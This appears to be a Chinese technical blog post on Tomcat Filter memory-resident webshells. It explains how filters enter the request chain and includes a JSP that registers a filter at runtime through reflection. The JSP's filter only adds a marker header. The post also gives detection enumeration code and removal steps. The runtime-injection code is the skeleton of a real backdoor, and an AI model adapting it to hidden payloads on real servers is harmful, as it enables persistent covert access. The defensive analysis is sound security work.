thumbnail
Java 内存马(四):Filter 内存马

Servlet 通常需要绑定一个明确路径,Filter 却可以覆盖一组 URL、某个 Servlet,甚至只在 ERROR 或 ASYNC 派发时触发。它位于业务 Servlet 之前,既能读取请求,也能决定是否继续调用后续链路。

Filter 内存马真正修改的不是一个对象,而是 Tomcat 中相互关联的三类状态:

1
2
3
FilterDef                定义 Filter 是谁
FilterMap 决定哪些请求进入它以及执行顺序
ApplicationFilterConfig 持有初始化后的 Filter 实例

可以把它们理解成三张相互关联的表:FilterDef 是名单,FilterMap 是路由规则,ApplicationFilterConfig 是已经开始工作的实例。名单里有名字但没有路由,请求进不来;有路由但实例没有初始化,执行时就会失败。

本文以 Tomcat 10.1 和 jakarta.servlet.* 为实验基线。示例只识别固定请求头并增加响应标记,不执行系统命令。

仅在本地或授权靶场验证。filterStart() 会操作当前应用的 Filter 初始化状态,不应直接用于生产排查。

一、Filter 如何进入请求链

Tomcat 完成 URL 到 Servlet 的映射后,StandardWrapperValve 会根据当前请求构造 ApplicationFilterChain:

1
2
3
4
5
6
请求
→ URL 映射到 Wrapper
→ 根据 URL、Servlet Name、DispatcherType 匹配 FilterMap
→ 按映射顺序加入 ApplicationFilterChain
→ Filter.doFilter()
→ Servlet.service()

Filter 请求链

Filter 的代码通常分成请求前、后续链和响应后三段:

1
2
3
4
5
6
7
8
9
public void doFilter(
ServletRequest request,
ServletResponse response,
FilterChain chain) throws IOException, ServletException {

// 请求进入 Servlet 前
chain.doFilter(request, response);
// Servlet 返回响应后
}

如果不调用 chain.doFilter(),请求会在当前 Filter 截止,后续 Filter 和 Servlet 都不会执行。内存马可以只在特定条件下截断链路,其他请求继续放行,因此普通业务访问未必出现异常。

匹配范围由四项共同决定:

条件 作用
URL Pattern 匹配 /api/*、/* 等路径
Servlet Name 只拦截发往指定 Servlet 的请求
DispatcherType 区分 REQUEST、FORWARD、ERROR、ASYNC 等派发
FilterMap 顺序 决定 Filter 在链中的先后位置

addFilterMapBefore() 会把映射放到普通描述符映射之前,addFilterMap() 则追加到相应映射区域。分析 Filter 时只看 /* 不够,顺序和 DispatcherType 同样决定能否触发。

换句话说,Filter 比 Servlet 多了一层“链路顺序”:同一个请求可以经过多个 Filter,先执行谁会直接影响认证、日志和响应处理。异常 Filter 如果排在鉴权组件之前,就可能在安全检查发生前接触请求。

二、受控靶场完成运行时注册

下面的 JSP 取得当前应用的 StandardContext,动态注册名为 filterLab 的 Filter。只有请求头 X-Filter-Lab: trace 命中时,它才增加 X-Filter-Lab-Reached: true,随后继续原请求链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="jakarta.servlet.*" %>
<%@ page import="jakarta.servlet.http.HttpServletRequest" %>
<%@ page import="jakarta.servlet.http.HttpServletResponse" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/plain;charset=UTF-8" %>

<%!
private Object readField(Object target, String name) throws Exception {
Class<?> type = target.getClass();
while (type != null) {
try {
Field field = type.getDeclaredField(name);
field.setAccessible(true);
return field.get(target);
} catch (NoSuchFieldException ignored) {
type = type.getSuperclass();
}
}
throw new NoSuchFieldException(name);
}
%>

<%
String filterName = "filterLab";

ServletContext facade = request.getServletContext();
ApplicationContext applicationContext =
(ApplicationContext) readField(facade, "context");
StandardContext standardContext =
(StandardContext) readField(applicationContext, "context");

if (standardContext.findFilterDef(filterName) != null) {
response.getWriter().println("ALREADY_EXISTS");
return;
}

Filter filter = new Filter() {
@Override
public void doFilter(
ServletRequest req,
ServletResponse resp,
FilterChain chain) throws IOException, ServletException {

HttpServletRequest httpReq = (HttpServletRequest) req;
HttpServletResponse httpResp = (HttpServletResponse) resp;

if ("trace".equals(httpReq.getHeader("X-Filter-Lab"))) {
httpResp.setHeader("X-Filter-Lab-Reached", "true");
}
chain.doFilter(req, resp);
}
};

FilterDef def = new FilterDef();
def.setFilterName(filterName);
def.setFilterClass(filter.getClass().getName());
def.setFilter(filter);
def.setAsyncSupported("true");

FilterMap map = new FilterMap();
map.setFilterName(filterName);
map.addURLPattern("/*");
map.setDispatcher(DispatcherType.REQUEST.name());

boolean defAdded = false;
boolean mapAdded = false;
try {
standardContext.addFilterDef(def);
defAdded = true;

standardContext.addFilterMapBefore(map);
mapAdded = true;

if (!standardContext.filterStart()) {
throw new ServletException("filterStart failed");
}

response.getWriter().println("REGISTERED " + filterName);
} catch (Exception e) {
if (mapAdded) {
standardContext.removeFilterMap(map);
}
if (defAdded) {
standardContext.removeFilterDef(def);
}
throw e;
}
%>

先访问该 JSP 完成注册,再对应用中任意正常路径发送请求:

1
2
curl -i -H "X-Filter-Lab: trace" \
http://127.0.0.1:8080/app/demo

响应中应出现:

1
X-Filter-Lab-Reached: true

去掉请求头后业务响应仍然正常,但不会出现标记。这验证了三个事实:Filter 已进入真实请求链,条件可以控制异常分支,未命中条件时可以继续执行原有业务。

这也是 Filter 内存马不容易通过功能测试发现的原因:它不需要占用一个新 URL,只要混入已有请求链,并在绝大多数请求中调用 chain.doFilter(),应用表面上就能继续正常工作。

三、从三类状态定位异常 Filter

Tomcat 清点不能只调用 ServletContext.getFilterRegistrations()。公开接口适合获得名称和映射,但内部三态能更直接地反映当前运行状态。

排查目标很明确:先找“登记了谁”,再看“拦截哪些请求”,最后确认“内存里实际运行的是哪个对象”。下面的代码正好对应这三个问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for (FilterDef def : standardContext.findFilterDefs()) {
Object config = standardContext.findFilterConfig(def.getFilterName());

System.out.println("name=" + def.getFilterName()
+ ", declaredClass=" + def.getFilterClass()
+ ", instanceClass="
+ (def.getFilter() == null
? "<not stored in FilterDef>"
: def.getFilter().getClass().getName())
+ ", config="
+ (config == null ? "<not initialized>" : config.getClass().getName()));
}

for (FilterMap map : standardContext.findFilterMaps()) {
System.out.println("name=" + map.getFilterName()
+ ", urls=" + java.util.Arrays.toString(map.getURLPatterns())
+ ", servlets=" + java.util.Arrays.toString(map.getServletNames())
+ ", dispatcherMask=" + map.getDispatcherMapping());
}

输出后按以下关系逐项核对:

1
2
3
4
5
6
FilterDef 是否存在
→ FilterMap 是否指向同名定义
→ URL、Servlet Name 和 DispatcherType 是否合理
→ ApplicationFilterConfig 是否已初始化
→ 实际类和 ClassLoader 来自哪里
→ 发布制品能否解释这组运行时状态

重点异常包括:

  • 运行时存在,但 web.xml、注解和发布制品中没有对应定义;
  • 映射范围突然扩大为 /*,或顺序被插到安全组件之前;
  • 只绑定 ERROR、ASYNC 等不易在普通请求中触发的派发类型;
  • 类名看似正常,但 ClassLoader、CodeSource 或实际字节码与可信节点不同;
  • FilterDef、FilterMap、ApplicationFilterConfig 之间出现孤立或同名冲突。

名称中出现 shell 不是判断标准,随机名称也不必然恶意。可靠结论来自运行时状态、发布基线和请求行为三者的交叉验证。

四、精确卸载与恢复验证

卸载顺序必须先切断新请求,再释放实例,最后删除定义:

1
2
3
4
5
移除全部 FilterMap
→ 新请求不再进入 Filter
→ 从 filterConfigs 移除 ApplicationFilterConfig
→ 调用 release() 执行 Filter.destroy()
→ 删除 FilterDef

顺序不能反过来。先删定义但保留映射,会留下指向不存在组件的规则;只删映射但不释放配置,Filter 虽然暂时不可达,实例仍可能被容器引用,也不会正常执行 destroy()。

下面代码适用于已核对实现的 Tomcat 10.1 授权靶场:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
String filterName = "filterLab";

for (FilterMap map : standardContext.findFilterMaps()) {
if (filterName.equals(map.getFilterName())) {
standardContext.removeFilterMap(map);
}
}

Field configsField = StandardContext.class.getDeclaredField("filterConfigs");
configsField.setAccessible(true);

@SuppressWarnings("unchecked")
Map<String, Object> filterConfigs =
(Map<String, Object>) configsField.get(standardContext);

Object config = filterConfigs.remove(filterName);
if (config != null) {
Method release = config.getClass().getDeclaredMethod("release");
release.setAccessible(true);
release.invoke(config);
}

FilterDef def = standardContext.findFilterDef(filterName);
if (def != null) {
standardContext.removeFilterDef(def);
}

代码还需要导入 java.lang.reflect.Method 和 java.util.Map。不同 Tomcat 版本的字段和生命周期实现可能变化,执行前必须核对当前版本源码,不能把私有字段名当作稳定 API。

卸载后重新发送带标记请求,响应头应消失;再次枚举时,三类状态中都不应再出现该名称。同时验证正常请求、异常派发和异步请求,防止只移除了一条映射。

生产环境优先摘除节点并保留证据,然后修复初始入口、替换可信制品并重建实例。在线卸载只能切断当前驻留对象,无法自动清除恶意 JSP、漏洞入口、启动项或 Agent 等复活来源。

上一篇
下一篇